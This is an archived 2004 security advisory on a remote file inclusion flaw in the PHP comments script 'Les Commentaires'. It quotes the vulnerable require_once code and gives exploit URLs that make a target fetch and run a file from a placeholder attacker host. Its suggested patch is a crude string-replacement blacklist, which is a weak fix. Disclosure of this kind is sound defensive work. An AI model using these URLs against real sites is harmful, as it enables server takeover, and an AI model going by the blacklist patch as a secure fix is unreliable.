OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Les Commentaires (PHP) Include file

From: Himeur Nourredine (lostnoobssecurity-challenge.com)
Date: Tue Feb 03 2004 - 14:30:54 CST

Informations :
°°°°°°°°°°°°°°
Website : http://www.phpscripts-fr.net
Version : all
Problem : Include file

PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
config/fonctions.lib.php
derniers_commentaires.php
admin.php
------------------------------------------------------------------
if (!isset($rep)) $rep = './';
require_once($rep.'config/fonctions.lib.php');
require_once($rep.'langues/'.$langue.'.lang.php');
------------------------------------------------------------------

Exploit :
°°°°°°°°°
http://[target]/config/fonctions.lib.php?rep=http://[attacker]/file.ext%3f
http://[target]/derniers_commentaires.php?rep=http://[attacker]/file.ext%3f
http://[target]/admin.php?rep=http://[attacker]/file.ext%3f

(the same but in local with = /langues/'.$langue.'.lang.php )

Patch :
°°°°°°°
You must to put a filter on the variable $rep and $langue.
like=
$rep= str_replace("..","lol",$rep);
AND
$rep= str_replace("://","lol",$rep);
(same with $langue)

Nourredine Himeur

www.security-challenge.com